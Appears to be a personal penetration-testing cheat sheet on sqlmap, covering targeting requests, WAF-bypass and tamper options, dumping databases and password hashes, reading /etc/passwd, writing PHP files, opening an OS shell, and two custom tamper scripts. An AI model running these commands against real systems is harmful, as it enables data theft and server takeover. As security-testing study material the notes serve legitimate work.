SQLMap
sqlmap (30.3k β) is a tool to detect and automatically exploit SQLi. While it may perform just fine out of the box, we will have to configure it adequately for complex targets to avoid false negatives.
$ sudo apt install -y sqlmap
To ensure the request (such as a POST request) is correct, we usually capture it using a tool such as Burp Intruder or from a web browser network tab, by right-clicking on the request and selecting Copy value as cURL
. This ensures headers and cookies are properly configured.
Where to learn? π
- Official Documentation (π)
- SQLMap CheatSheet (2020)
- SQLMap CheatSheet (2017)
Basic Overview
To use the tool, we must first find a potentially vulnerable form/URL.
$ sqlmap -u example.com/?id=1 [...] # GET
$ sqlmap -u example.com --data="id=1&p=0" [...] # POST
$ sqlmap -u example.com --data-raw "id=1" [...] # POST (cURL)
$ sqlmap -u URL --data="id=1" --method PUT [...] # PUT
$ sqlmap [...] -H 'Cookie: id=1' # add a header
$ sqlmap [...] --cookie='id=1' # add a cookie
# see also: --host, --referer, -A/--user-agent, --mobile
After that, the tool will ask us a few questions to configure itself. We can skip them and use default values using --batch
.
$ sqlmap [...] --batch
To configure the exploitation of a detected SQLi, refer to this.
Configuration ποΈ
-
--parse-errors
: display DBMS errors in sqlmap output -
-t /tmp/log.txt
: save sqlmap traffic to a file -
-v n
: set the verbosity (0-6) -
--threads n
: use $n$ threads -
--flush-session
: clear cache
Security bypass π
-
--random-agent
: bypass some WAF/... -
--csrf-token="xxx"
: indicate a non-standard CSRF cookie -
--randomize=xxx
: randomize values for parameterxxx
-
--eval="xxx=5"
: python code to compute parameterxxx
-
--chunked
: split the request in chunks (if supported, e.g. ASP)
SQLMap Tuning
Explicit Vulnerable Parameters
You can specify which parameters are likely to be vulnerable using -p
or by adding *
after the parameter value.
$ sqlmap [...] -p id
$ sqlmap [...] --data "id=1*" # same
Explicit DBMS
You can use --dbms=some_dbms
to explicitly inform sqlmap that you know the DBMS. Example value: sqlite
.
Tamper Scripts
We can use pre-written Python scripts to tamper with the payload. They can be used to-bypass WAF or other security solutions.
$ sqlmap --list-tampers
$ sqlmap [...] --tamper=between,randomcase
Select SQLi Techniques
You can define which SQLi technique sqlmap will try:
$ sqlmap [...] --technique=BEU # Boolean Error Union
Vectors And Boundaries
Every payload is the concatenation of a vector and a boundary (prefix+suffix). For instance, <vector>-- -
with -- -
the suffix.
$ sqlmap [...] --prefix="" --suffix="-- -" # example
To increase the set of vectors/boundaries tested, we use --level
:
$ sqlmap [...] --level 5 # from 1 to 5, default 1
We may also increase the number of vectors/boundaries tested by increasing the risk of database entry loss or other problems.
$ sqlmap [...] --risk 3 # from 1 to 3, default 1
β οΈ Risky situations are when the SQL is using an Update/Delete.
SQLMap Exploitation
Dumping Information
We may want to get some data before dumping the database.
$ sqlmap [...] --dump [...]
We also have switches for well-known queries:
-
--banner
,--hostname
: host information -
--dbs
,--current-db
: display all databases -
--schema
: database schema -
--tables
: display tables -
--column
: display columns - See also:
--passwords
,--is-dba
,--current-user
We can search for tables/columns using --search
:
$ sqlmap [...] --search -T user # tables "*user*"
$ sqlmap [...] --search -C pass # columns "*pass*"
π See also the switch --all
.
Read/Write files
It's possible to use SQLi to read/write files. This privilege is often only allowed to the DBA (--is-dba/--privileges => secure file priv
).
$ sqlmap [...] --file-read "/etc/passwd"
$ sqlmap [...] --file-write "xxx.php" --file-dest "/tmp/xxx.php"
Dumping Records
The most common usage is to dump data.
$ sqlmap [...] --dump [...]
As this may involve a lot of data, we often fine-tune the extraction:
-
-D xxx
: only keep databasexxx
-
-T xxx
: only keep tablexxx
-
-C xx, yy
: only keep columnsxx
, andyy
-
--start=n
/--stop=m
: rows to select ([n,m]
) -
--where="attr LIKE '%'"
: filter rows
π You can use --dump-all
to dump everything in the database, but you might also want to use --exclude-sysdbs
.
β οΈ Add --no-cast
to ensure the values are the correct ones.
π You can select the dump format using --dump-format
.
π Use --fresh-queries
to only display the new/updated records.
Operating System Shell
If we can upload files, we can use sqlmap to pop a remote shell.
$ sqlmap [...] --os-shell
We may have to set the technique manually to ease sqlmap job.
Random Notes
Load Request From A File
Assuming you caught a request, such as below:
$ cat request1.req
HTTP / HTTP/1.0
Host: www.example.com
{
"id": 1
}
You can load it inside sqlmap using -r
:
$ sqlmap -r /path/to/request.req [...]
π See also: Burp Intruder (save a request using "Save Item").
Using A Proxy
The following options might be handy:
-
--proxy="value"
: use a proxy for requests -
--proxy-file
: use a list of proxies -
--tor
: try to use TOR Socks proxy -
--check-tor
: test if TOR is correctly configured
Uncommon Techniques Switches
-
--code=200
: use status code for "YES" in boolean-based attacks -
--titles
: use diff in titles for boolean-based attacks -
--string=xxx
: use this string for "YES" in boolean-based attacks -
--text-only
: remove all HTML and compare the text content -
--union-cols=n
: increase the likelihood of a successful union-based attack by explicitly adding the number of columns (guess/...). -
--union-char='a'
: dummy value for union
Second Order SQLi with SQLMap
We can perform some Second Order SQLi attacks using sqlmap
. We would have to write a custom tamper script.
$ touch __init__.py
$ touch myscript.py
$ sqlmap --url 'URL/signup' --second-url 'URL/invoices' --tamper myscript.py --data "username=*&password="
- The
--data
is associated with--url
- The
--second-url
is where we may see the in-band SQLi results
Refer to hacktricks to write your tamper script.
#!/usr/bin/env python
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
with requests.Session() as s:
s.post("http://example.com/signup", data={"username": payload, "password": "noonecare"})
s.post("http://example.com/login", data={"username": payload, "password": "noonecare"})
session_id = s.cookies.get("COOKIE_NAME", None)
return "COOKIE_NAME={}".format(session_id)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["Cookie"] = login_account(payload)
return payload
π» To-do π»
Stuff that I found, but never read/used yet.
Automatic parameter finding
-
--crawl
-
--forms
-
-g
Out-of-band
-
--dns-domain="..."
Output
-
Content is stable
: no major changes in output -
... dynamic
: different parameters lead to different responses -
... reflective
: parameter is present in the output
- HTTP Basic Auth
--auth-type Basic --auth-cred "username:password"
- HTTP Cookie
--cookie "XXX=yyy"
Unboxed SQLi with encoding
-
--invalid-logical
: use1=0
instead of-id
to negateid
# Challenge was to pass a control-flow check to get feedback
# While the payload was encoded and SQLMap didn't properly
# encode the prefix/suffix when I tested
ORIGINAL_PAYLOAD = ""
def tamper(payload, **kwargs):
import base64
payload = payload.replace(ORIGINAL_PAYLOAD,"1")
payload = f"(select 1 [...] id={payload} union select 0)"
payload = base64.b64encode(payload.encode()).decode()
return payload